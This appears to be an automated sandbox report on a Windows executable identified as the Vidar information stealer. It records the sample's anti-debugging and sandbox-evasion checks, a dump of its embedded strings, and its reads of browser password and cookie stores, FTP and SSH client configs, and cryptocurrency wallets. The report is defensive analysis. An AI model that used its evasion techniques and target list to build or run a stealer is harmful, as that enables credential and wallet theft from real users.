Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90630 second address: 4B90655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FC736639BB9h 0x0000000e pushad 0x0000000f mov ebx, 14A01306h 0x00000014 mov ecx, ebx 0x00000016 popad 0x00000017 lea eax, dword ptr [ebp-00000110h] 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushad 0x00000021 popad 0x00000022 mov ebx, eax 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90655 second address: 4B9065B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9065B second address: 4B9065F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B906DE second address: 4B906F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, 875Bh 0x00000007 mov dx, cx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d je 00007FC73663A3EEh 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B906F7 second address: 4B906FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B906FB second address: 4B906FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B906FF second address: 4B90705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90705 second address: 4B90724 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27A1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebp-00000110h] 0x0000000f pushad 0x00000010 mov bx, si 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9077D second address: 4B90783 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90783 second address: 4B90787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90787 second address: 4B9079E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-00000118h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov edx, esi 0x00000013 mov dx, ax 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9079E second address: 4B907B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, DB9Ah 0x00000007 movsx edi, si 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d test eax, eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B907B3 second address: 4B907B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B907B9 second address: 4B907DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27A1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FC73663A30Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov edx, 0C886720h 0x00000017 mov esi, edx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B907DC second address: 4B90814 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27142h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007FC6C5B27140h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FC6C5B2713Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90814 second address: 4B908E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, 44h 0x00000005 jmp 00007FC6C5B27A1Ah 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e jmp 00007FC6C5B27A20h 0x00000013 lea ecx, dword ptr [ebx+04h] 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FC6C5B27A1Eh 0x0000001d add ecx, 7274F958h 0x00000023 jmp 00007FC6C5B27A1Bh 0x00000028 popfd 0x00000029 mov ah, 4Eh 0x0000002b popad 0x0000002c push 00000027h 0x0000002e pushad 0x0000002f pushfd 0x00000030 jmp 00007FC6C5B27A21h 0x00000035 sbb cx, 4CF6h 0x0000003a jmp 00007FC6C5B27A21h 0x0000003f popfd 0x00000040 pushfd 0x00000041 jmp 00007FC6C5B27A20h 0x00000046 adc ecx, 15EFBE18h 0x0000004c jmp 00007FC6C5B27A1Bh 0x00000051 popfd 0x00000052 popad 0x00000053 pop edx 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 pushfd 0x00000058 jmp 00007FC6C5B27A1Bh 0x0000005d xor ecx, 5A9B52DEh 0x00000063 jmp 00007FC6C5B27A29h 0x00000068 popfd 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B908E1 second address: 4B908E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80A40 second address: 4B80A44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80A44 second address: 4B80A4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80A4A second address: 4B80A50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80A50 second address: 4B80A54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80A54 second address: 4B80A58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80A58 second address: 4B80A7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC6C5B27149h 0x00000012 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 64C860 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 64C941 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7F6C07 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8057F2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8856BA instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1101	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1060	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1887	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1061	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 3364	Thread sleep count: 63 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3364	Thread sleep time: -126063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5460	Thread sleep count: 1101 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5460	Thread sleep time: -2203101s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6816	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3536	Thread sleep count: 1060 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3536	Thread sleep time: -2121060s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4920	Thread sleep count: 1887 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4920	Thread sleep time: -3775887s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5420	Thread sleep count: 1061 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5420	Thread sleep time: -2123061s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: Q9RQQQ.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: Q9RQQQ.0.dr	Binary or memory string: discord.comVMware20,11696494690f
Source: Q9RQQQ.0.dr	Binary or memory string: AMC password management pageVMware20,11696494690
Source: Q9RQQQ.0.dr	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: Q9RQQQ.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: Q9RQQQ.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: Q9RQQQ.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: Q9RQQQ.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: Q9RQQQ.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: Q9RQQQ.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: Q9RQQQ.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: Q9RQQQ.0.dr	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: Q9RQQQ.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: Q9RQQQ.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: Q9RQQQ.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: Q9RQQQ.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: file.exe, 00000000.00000003.1543715466.00000000049E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 12.1fac0b62865926be9f46bb2970388529aINSERT_KEY_HEREGetProcALoadLibrlstrcatAOpenEvenCreateEvCloseHanVirtualAllocExNuVirtualFGetSysteVirtualAHeapAlloGetComputerNameAlstrcpyAGetProceGetCurrentProceslstrlenAExitProcSystemTimeToFileadvapi32gdi32.dluser32.dcrypt32.ntdll.dlGetUserNCreateDCGetDevicReleaseDVMwareVMJohnDoe%hu/%hu/GetEnvironmentVariableAGetFileAttributeGlobalLoHeapFreeGetFileSGlobalSiIsWow64PProcess3GetLocalFreeLibrGetTimeZoneInforGetSystemPowerStGetWindowsDirectGetModuleFileNamDeleteFiFindNextLocalFreFindClosSetEnvironmentVaLocalAllReadFileSetFilePWriteFilCreateFiFindFirsCopyFileVirtualPGetLastElstrcpynMultiByteToWideCGlobalFrWideCharToMultiBGlobalAlOpenProcTerminateProcessgdiplus.ole32.dlbcrypt.dwininet.shlwapi.shell32.psapi.dlrstrtmgrCreateCompatibleSelectObDeleteObGdiplusSGdiplusShutdownGdipSaveImageToSGdipDisposeImageGdipFreeGetHGlobalFromStCreateStreamOnHGCoUninitCoInitiaCoCreateInstanceBCryptDeBCryptSetPropertBCryptDestroyKeyGetWindoGetDesktopWindowCloseWinwsprintfEnumDisplayDevicGetKeyboardLayouCharToOeRegQueryValueExARegEnumKRegOpenKRegCloseRegEnumVCryptBinaryToStrSHGetFolderPathAShellExecuteExAInternetOpenUrlAInternetConnectAInternetCloseHanInternetHttpSendRequestAHttpOpenRequestAInternetReadFileInternetCrackUrlStrCmpCAStrStrAStrCmpCWPathMatcRmStartSRmRegisterResourRmGetLisRmEndSessqlite3_sqlite3_prepare_sqlite3_column_tsqlite3_finalizesqlite3_column_bencrypteNSS_InitNSS_ShutPK11_GetInternalKeySlotPK11_FrePK11_AuthenticatPK11SDR_DecryptC:\ProgramData\profile:Login: PasswordOperaGXNetworkCookiesAutofillHistoryMonth: Login DaWeb Datalogins.jformSubmusernameencryptedUsernamencryptedPassworcookies.places.sPluginsSync Extension SettingsIndexedDOpera StOpera GX StableCURRENTchrome-extension_0.indexeddb.levLocal StprofilesfirefoxWallets%08lX%04ProductN%d/%d/%d %d:%d:%DisplayNDisplayVfreebl3.mozglue.msvcp140nss3.dllsoftokn3vcruntime140.dll/c start%DESKTOP%APPDATA%LOCALAP%USERPRO%DOCUMEN%PROGRAM%PROGRAMFILES_86%RECENT%\discord\Local Storage\l\Telegram Desktokey_dataD877F783D5D3EF8CA7FDF864FBC10B77A92DAA6EA6F891F2F8806DD0C461824FTelegram\.purpleaccountsdQw4w9Wgtoken: Software\Valve\SSteamPat\config\config.vDialogConfig.vdflibraryfolders.vloginuse\Steam\sqlite3.browsers\Discord\tokens.HTTP/1.1file_nammessagescreensh
Source: Q9RQQQ.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: Q9RQQQ.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: Q9RQQQ.0.dr	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: Q9RQQQ.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: Q9RQQQ.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: file.exe, 00000000.00000003.1543715466.00000000049E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMwareVM
Source: Q9RQQQ.0.dr	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: Q9RQQQ.0.dr	Binary or memory string: global block list test formVMware20,11696494690
Source: Q9RQQQ.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: Q9RQQQ.0.dr	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: Q9RQQQ.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: Q9RQQQ.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: Q9RQQQ.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: Q9RQQQ.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: Q9RQQQ.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: Q9RQQQ.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Vidar stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\kz8kl7vh.default\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\datareporting\glean\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\crashes\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\datareporting\glean\db\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\security_state\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\to-be-removed\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\crashes\events\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\datareporting\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\datareporting\glean\events\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\idb\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\datareporting\glean\pending_pings\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\bookmarkbackups\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\datareporting\archived\2023-10\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\saved-telemetry-pings\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\datareporting\archived\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\datareporting\glean\tmp\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\minidumps\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\sessionstore-backups\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\idb\2918063365piupsah.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\permanent\key4.db	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
